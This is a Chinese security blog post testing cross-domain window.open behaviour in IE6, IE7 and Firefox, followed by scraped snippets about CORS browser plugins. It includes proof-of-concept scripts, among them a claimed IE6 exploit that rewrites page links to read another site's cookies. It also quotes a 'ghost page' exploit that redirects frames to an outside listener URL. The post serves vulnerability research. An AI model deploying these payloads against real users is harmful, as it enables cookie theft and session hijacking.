Manuel Caballero在BLUEHAT大会探讨了《A Resident in My Domain》议题,字面上的意思就是驻留在自己的域,随后开始有国内的安全研究人员在BLOG上写了一些相关的内容,这段时间一直和HI群里的朋友在讨论这个问题,大家都简称为鬼页,这个鬼页非常神奇,可以跟随你浏览的每个页面。经过鬼页的启发,我也对浏览器的跨域安全问题进行了测试。
1.来自伪协议的呼唤
JAVASCRIPT里大家都频繁使用window对象,window对象代表的就是浏览器的窗口,我们就来测试下window对象的open方法,尝试让新开的窗口执行伪协议。在本机搭建一个WEB服务器,开始做下实验:
用各个浏览器浏览 http://127.0.0.1/test.htm ,下面是test.htm的脚本内容:
<script> x=window.open('about:blank'); x.location="javascript:alert(document.domain)" </script> |
结果:
IE6:执行了伪协议,认为弹出窗口的域是127.0.0.1。
IE7:执行了伪协议,认为弹出窗口的域是127.0.0.1。
Firefox:执行了伪协议,认为还没有域为NULL。
Firefox这里对于这个接口可能也有个BUG,对于IP地址的弹窗Firefox没有辨认出域,但是在实际绑定域名的情况下还是辨认出了域。
为了下面的部分方便理解,我把这里弹窗的关系给简称下,原窗口叫父页,弹出窗口叫子页,实验过后我们证明了:父页和子页都在同一个域里,父页可以重定向子页的URL地址,甚至执行伪协议。
2.父页和子页的关系
如果父页让子页访问其他域后,父页和子页是否就脱离关系了呢?
继续测试,用各个浏览器浏览 http://127.0.0.1/test2.htm ,下面是test2.htm的脚本
内容:
<script> x=window.open('about:blank'); x.location="http://www.163.com" //访问163网站 setTimeout(function(){ x.location="http://127.0.0.1"; },5000) //5秒后重定向到127.0.0.1 </script> |
这次IE6、IE7、Firefox都达成了一致,实验的结果是子页访问了163网站,5秒然后又跳回了127.0.0.1。
所以就算是子页在访问了其他域后,还是会受父页的控制。
3.域与域之间的牵绊
如果父页让子页访问某个域后,再执行伪协议会有什么效果?
用各个浏览器浏览 http://127.0.0.1/test3.htm,下面是test3.htm的脚本内容:
<script> x=window.open('about:blank'); x.location="http://www.163.com" setTimeout(function(){ x.location="javascript:alert(document.cookie)"; },5000) </script> |
结果:
IE6:没有反应。
IE7:报错,拒绝访问。
Firefox:报错,alert没有定义。
这些信息明显的说明,如果子页和父页不在同一个域里,浏览器是不允许父页控制子页执行伪协议脚本的。
为了进一步验证,我们让子页打开同一个域里的页面测试:
用各个浏览器浏览 http://127.0.0.1/test4.htm,下面是test4.htm的脚本内容:
<script> document.cookie='xss:true' //给本域设置一个COOKIE为xss:true x=window.open('about:blank'); x.location="http://127.0.0.1" setTimeout(function(){ x.location="javascript:alert(document.cookie)"; },5000) </script> |
结果IE6、IE7、Firefox都顺利的弹出了COOKIE值,说明如果子页和父页在同一个域里,浏览器是允许父页控制子页执行伪协议脚本的。
4.安全上的差异
父页和子页这种微妙的关系,到这里就开始引发安全问题了,安全研究人员在分析鬼页的时,给出了EXP:
javascript:x=open('http://hackademix.net/');setInterval(function(){try{x.frames[0].location={toString:function(){return 'http://www.sirdarckcat.net/caballero-listener.html';}}}catch(e){}},5000);void(1); |
EXP按上面三部分的概念解释是:
父页是A域,父页指定子页访问B域内一个带框架的页面,父页就能够控制B域页面内框架的URL地址,这个就是典型的跨域操作了。
鬼页能够跨域操作框架的关键是window.frames[0]方法没有受到域的限制,第二个是让location指定的地址看起来像个对象而不是参数。
我们按照鬼页的思路,继续在第3部分的基础上测试下去,将location指定的地址使用new String()对象处理。
用各个浏览器浏览 http://127.0.0.1/test5.htm,下面是test5.htm的脚本内容:
<script> x=window.open('about:blank'); x.location="http://www.163.com"; setTimeout(function(){ x.location=new String("javascript:alert(document.cookie)") },5000) </script> |
IE6:弹出COOKIE。
IE7:报错,拒绝访问。
Firefox:报错,alert没有定义。
结果是IE6奇迹般的弹出了COOKIE,我们做到了跨域执行脚本。 5.灾难性的后果
到这里我们发现了一个IE6的0DAY,一定程度上这个跨域安全问题是灾难性的,如下面的
EXP:
<a href="">IE6 Cross Domain Scripting</a> <script> function win(){ x=window.open('http://www.phpwind.net'); setTimeout(function(){ x.location=new String("javascript:alert(document.cookie)") },3000) } window.onload=function(){ for (i=0;i<document.links.length;i++) { document.links[i].href="javascript:win()" } } </script> |
点击链接后,马上得到了PHPWIND论坛的COOKIE,这就意味着黑客通过类似的攻击可以得到你访问过的任意网站的COOKIE,然后劫持你的会话。
这样的漏洞相当于一个没有域限制的XSS漏洞,几乎是无法防御的,网站只能进一步的加强客户端的会话安全,如使用SSL加密连接、设置安全COOKIE加上HTTPONLY参数、给敏感的请求操作加上水印等。
6.总结
这个跨域安全问题的本质是浏览器在处理window对象的操作有所疏漏,没有考虑清楚不同域有继承关系的window对象操作后的变化,只是对window对象的一些方法的参数做了类似数据类型的限制,导致最后绕过限制跨域执行了脚本。
从这个漏洞我们也可以看出IE7的一些新的安全特性,通过继承关系的window对象操作来跨域执行脚本伪协议最后是判断了域的,IE7已经开始防范类似的攻击。
但是这里并没有在本质上解决跨域安全问题,IE7只防范了跨域执行脚本,对于其他跨域的操作仍然是放行的,所以鬼页在IE7下可以跨域操作框架URL,而Firefox却没有存在相同的问题,说明不同浏览器在安全的考虑上也是存在很多差异的。
针对IE我又测试了其他对象方法,发现很多都被限制住了,但不排除还有同样的问题存在。按照类似的思路,大家可以继续尝试挖掘浏览器的一些跨域漏洞。
参考
[1] Browser's Ghost Busters: http://sirdarckcat.blogspot.com/2008/05/browsers-ghost-busters.html
[2] Ghost Busters: http://www.gnucitizen.org/blog/ghost-busters/
分享到:
相关推荐
"chrome 浏览器跨域插件下载"这个主题正是针对这一问题,提供了能够帮助开发者解决跨域问题的工具。 Moesif Origin .crx 是一个Chrome浏览器的扩展插件,它主要用于调试和分析API请求,尤其是处理跨域问题时非常...
开源Android浏览器是一个面向开发者和爱好者提供的开放源代码项目,它允许用户访问跨域网页,这意味着该浏览器具有处理不同源之间通信的能力,这是许多现代网络应用所必需的功能。Android平台上的浏览器开发涉及到...
由于Web 端的远程加载受到浏览器的 CORS 跨域策略限制,如果对方服务器禁止跨域访问,那么会加载失败,而且在 WebGL 渲染模式下,即便对方服务器允许 http 请求成功之后也无法渲染,这是 WebGL 的安全策略的限制 ...
浏览器跨域问题是一个常见的Web开发中的挑战,尤其在进行AJAX请求时,它涉及到Web应用的安全性和通信限制。跨域是由于浏览器实施的同源策略(Same-origin Policy),这是一种安全机制,防止恶意网站通过JavaScript...
### uni-app运行到浏览器跨域H5页面的跨域问题解决方案 #### 一、背景介绍 在使用uni-app开发移动应用或H5页面时,开发者可能会遇到跨域问题。跨域问题是前端开发中的常见问题之一,主要是由于浏览器的同源策略所...
chrome插件【Allow CORS: Access-Control-Allow-Origin】
谷歌浏览器跨域插件,解决开发人员本地开发涉及跨域问题 谷歌浏览器跨域插件,解决开发人员本地开发涉及跨域问题 谷歌浏览器跨域插件,解决开发人员本地开发涉及跨域问题
chrome浏览器跨域插件,在谷歌浏览器使用开发测试时,经常遇到跨域测试,可以使用该插件获得帮助
3. **iframe跨域问题**:当iframe加载的页面与包含它的页面不在同一个域时,就会出现跨域问题,导致无法直接通过JavaScript进行通信,如获取iframe内的内容、设置iframe的属性等。 **二、iframe跨域的解决方案** 1...
跨域安全JAR包是一种专为解决Web应用中跨域问题而设计的工具包,它旨在简化跨域请求的处理,使开发者无需依赖传统的JSONP(JSON with Padding)技术即可实现安全的数据交换。JSONP是一种早期的跨域数据交互协议,它...
浏览器跨域问题是指在页面中使用js访问其他网站的数据时出现的错误,例如在网站中使用ajax请求其他网站的天气、快递或者其他数据接口时,以及hybrid app中请求数据,浏览器会提示以下错误:XMLHttpRequest cannot ...
浏览器跨域插件Moesif Origin & CORS Changer 0.4.7。解决跨域Cross-Origin Read Blocking (CORB) blocked cross-origin response。亲测有效
跨域问题是指在Web浏览器中,因为安全性限制,不能从一个域名下的页面访问另一个域名下的资源,这是浏览器的同源策略(Same-origin policy)所致。跨域问题在实际开发中经常遇到,特别是在使用C#语言开发Web应用程序...
跨域是Web开发中的一个重要概念,它限制了浏览器从一个源获取另一个源的资源,以保护用户的安全。当`iframe`尝试加载的页面与包含它的页面不在同一域名下时,就会遇到跨域问题。在处理`iframe`跨域时,主要涉及以下...
跨域是指浏览器的安全策略限制了JavaScript从一个源(域名、协议或端口)发起的请求访问另一个源的数据。这种限制是出于防止恶意脚本攻击的安全考虑,但同时也给开发者带来了困扰。 标题提及的“tomcat浏览器跨域的...
7. **安全性与性能优化**:在实施跨域打印时,需要注意安全性和性能问题。例如,避免敏感信息泄露,控制请求频率防止服务器过载,以及通过缓存技术提高请求效率。 综上所述,Finereport跨域打印涉及的技术和细节较...
请用google浏览器打开,页面百分比缩小到百分之三十再访问。 1、 请在服务器上部署附件war 2、 将【两个工程.zip】压缩包中的webChart.war和jdbc2json.war上传至apache-tomcat-8.0.33/webapps下 3、 启动tomcat,~/...
然而,由于浏览器的安全策略,不同的源(origin)之间存在同源策略,阻止了不同域的iframe与父页面直接通信,这就引出了跨域问题。 其次,我们来谈谈**跨域**。同源策略是浏览器为了安全而实施的一项策略,它限制了...
脚本内的浏览器exe文件目录需要自行调整为自己的实际安装目录,然后双击打开就可打开一个支持跨域的浏览器
跨域页面访问问题是指在多个系统集成的情况下,主系统以 iframe 或 frameset 的方式将其他子系统的页面嵌进来,导致浏览器阻止 iframe 或 frameset 的 cookie,进而使 SESSION 失效。解决办法是,在子系统的登录代码...